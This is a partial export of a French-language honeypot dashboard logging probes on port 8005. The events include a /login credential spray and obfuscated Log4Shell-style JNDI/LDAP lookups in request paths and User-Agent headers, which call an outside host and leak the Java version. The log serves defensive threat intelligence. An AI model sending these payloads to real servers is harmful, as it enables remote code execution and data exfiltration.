"event_signature": "4b358655e31b030d6e5bb4c8b821992e6322b073",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8005,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8005"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8005"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950383:rce-14",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"http_ssti",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:34:16 UTC
TCP
8005 · HTTP
Sonde port 8005/TCP
port 8005 tcp · via HTTP:8005 · (sonde / probe) · → /${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35…
Élevée
Moyen · 58
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
PUT /${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bx… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
PUT
/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-/}${e:db6x:-/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-y}${7d:4ylc:-s}${n948:zv6:-:}${bc:-j}${hu4:cq:-a}${o4:8a9w:-v}${bd2m:-a}${koge:jiu:wgk:-.}${qc:fg:-v}${ygn:qdo:-e}${7:bh:o:-r}${pdfi:kw:s1wa:-s}${uito:jq4x:va:-i}${9532:-o}${dow0:-n}}${09z:-.}${4jfp:6rs:-f}${kub:jco:4a:-0}${umtp:8aw:-5}${n:-c}${uk1i:plw:-3}${f
TLS SNI
—
Capteur
paris-1
Méthode
PUT
Port
8005
Chemin / cible
/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-/}${e:db6x:-/}${kd:al:il…
Preuve honeypot — Sonde port 8005/TCP
Connexion détectée sur le port 8005 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8005_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 58
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
PUT /${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-/}${e:db6x:-/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-y}${7d:4ylc:-s}${n948:zv6:-:}${bc:-j}${hu4:cq:-a}${o4:8a9w:-v}${bd2m:-a}${koge:jiu:wgk:-.}${qc:fg:-v}${ygn:qdo:-e}${7:bh:o:-r}${pdfi:kw:s1wa:-s}${uito:jq4x:va:-i}${9532:-o}${dow0:-n}}${09z:-.}${4jfp:6rs:-f}${kub:jco:4a:-0}${umtp:8aw:-5}${n:-c}${uk1i:plw:-3
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
PUT /${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}$
Requête brute (extrait)
PUT /${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-/}${e:db6x:-/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${fn:pb9t:-g}${h3:c:m:-o}${z:ito:n:-o}${4twd:x:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "474d34701ef094042bceaaeec604d0fd7a5f5a84",
"http_target_hash": "c5c196d217126fc4ff66330f3f36586fc382101c",
"http_referer_hash": null,
"http_method": "PUT",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.884492768510018,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8005,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.6,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 58,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "188f3855478ebda72297803c7306050fd19e454c",
"event_fingerprint": "0cde33370b55f1c59f55ec862a822d868adaa863",
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 58,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "d926d5ba78e18ff202048fceb99cf308",
"path_pattern_hash": "d171869739db5ce559de2f61307dee76"
},
"target_context": {
"dst_port": 8005,
"service": "http",
"service_name": "http",
"risk_score": 58
},
"method": "PUT",
"path": "\/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-y}${7d:4ylc:-s}${n948:zv6:-:}${bc:-j}${hu4:cq:-a}${o4:8a9w:-v}${bd2m:-a}${koge:jiu:wgk:-.}${qc:fg:-v}${ygn:qdo:-e}${7:bh:o:-r}${pdfi:kw:s1wa:-s}${uito:jq4x:va:-i}${9532:-o}${dow0:-n}}${09z:-.}${4jfp:6rs:-f}${kub:jco:4a:-0}${umtp:8aw:-5}${n:-c}${uk1i:plw:-3}${f",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-y}${7d:4ylc:-s}${n948:zv6:-:}${bc:-j}${hu4:cq:-a}${o4:8a9w:-v}${bd2m:-a}${koge:jiu:wgk:-.}${qc:fg:-v}${ygn:qdo:-e}${7:bh:o:-r}${pdfi:kw:s1wa:-s}${uito:jq4x:va:-i}${9532:-o}${dow0:-n}}${09z:-.}${4jfp:6rs:-f}${kub:jco:4a:-0}${umtp:8aw:-5}${n:-c}${uk1i:plw:-3",
"payload_snippet": "PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}$",
"evidence": {
"method": "PUT",
"path": "\/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-y}${7d:4ylc:-s}${n948:zv6:-:}${bc:-j}${hu4:cq:-a}${o4:8a9w:-v}${bd2m:-a}${koge:jiu:wgk:-.}${qc:fg:-v}${ygn:qdo:-e}${7:bh:o:-r}${pdfi:kw:s1wa:-s}${uito:jq4x:va:-i}${9532:-o}${dow0:-n}}${09z:-.}${4jfp:6rs:-f}${kub:jco:4a:-0}${umtp:8aw:-5}${n:-c}${uk1i:plw:-3}${f",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-y}${7d:4ylc:-s}${n948:zv6:-:}${bc:-j}${hu4:cq:-a}${o4:8a9w:-v}${bd2m:-a}${koge:jiu:wgk:-.}${qc:fg:-v}${ygn:qdo:-e}${7:bh:o:-r}${pdfi:kw:s1wa:-s}${uito:jq4x:va:-i}${9532:-o}${dow0:-n}}${09z:-.}${4jfp:6rs:-f}${kub:jco:4a:-0}${umtp:8aw:-5}${n:-c}${uk1i:plw:-3",
"request_sample": "PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-",
"payload_snippet": "PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}$",
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "dc55925af9b5027769b28ebcb4cb6940ec8c56ef",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il\u2026",
"request_line": "PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}$",
"attack_vector": "port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35\u2026",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 58\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 58,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 58,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8005,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il\u2026",
"request_line": "PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35\u2026",
"evidence_snippet": "PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}$",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8005"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8005"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dangerous_method",
"net_sap_pyrfc_probe",
"net_slowloris"
],
"asn_dc_heuristic": true
}
31/07/2026 15:34:15 UTC
TCP
8005 · HTTP
Sonde port 8005/TCP
port 8005 tcp · via HTTP:8005 · (sonde / probe) · → /${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}$…
Élevée
Moyen · 58
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${… UA ${${w5k:693m:6nj:-j}${g:g:l8o:-n}${bru:-d}${sr2:-i}${q7pw:-:}${…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-/}${bgut:rej:79:-/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s:-s}${i:g:mjw:-:}${r3g9:g:fuw6:-j}${ravp:zhc:ami:-a}${ku:-v}${rev:-a}${uy:16fg:-.}${au:-v}${b76k:d2:-e}${l:-r}${yv0:-s}${62q:tbfj:p:-i}${2j:y0n:cpw:-o}${5:-n}}${rx3q:y:-.}${j:-f}${2x:9o4u:-0}${al:1l:-5}${l:1lw8:-c}${t3l:2ncx:-3}${2ch:-e}${ifa:n7jl:-4}${zo:xv:-
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8005
Chemin / cible
/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-/}${bgut:rej:79:-/}${i3zt:pe16:2…
Preuve honeypot — Sonde port 8005/TCP
Connexion détectée sur le port 8005 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8005_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 58
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-/}${bgut:rej:79:-/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s:-s}${i:g:mjw:-:}${r3g9:g:fuw6:-j}${ravp:zhc:ami:-a}${ku:-v}${rev:-a}${uy:16fg:-.}${au:-v}${b76k:d2:-e}${l:-r}${yv0:-s}${62q:tbfj:p:-i}${2j:y0n:cpw:-o}${5:-n}}${rx3q:y:-.}${j:-f}${2x:9o4u:-0}${al:1l:-5}${l:1lw8:-c}${t3l:2ncx:-3}${2ch:-e}${ifa:n7jl:-4}${zo:
User-Agent
${${w5k:693m:6nj:-j}${g:g:l8o:-n}${bru:-d}${sr2:-i}${q7pw:-:}${1xd:r:-l}${m:-d}${5fr:-a}${lh:0o:-p}${w:6fvd:eh:-:}${6xcf:-/}${6o3z:z:-/}${qt1u:mrky:v:-U}${dr:0:-A}${iwa:l:2v6:-l}${r0dp:-0}${kr:9:-c}$…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i1
Requête brute (extrait)
GET /${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-/}${bgut:rej:79:-/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
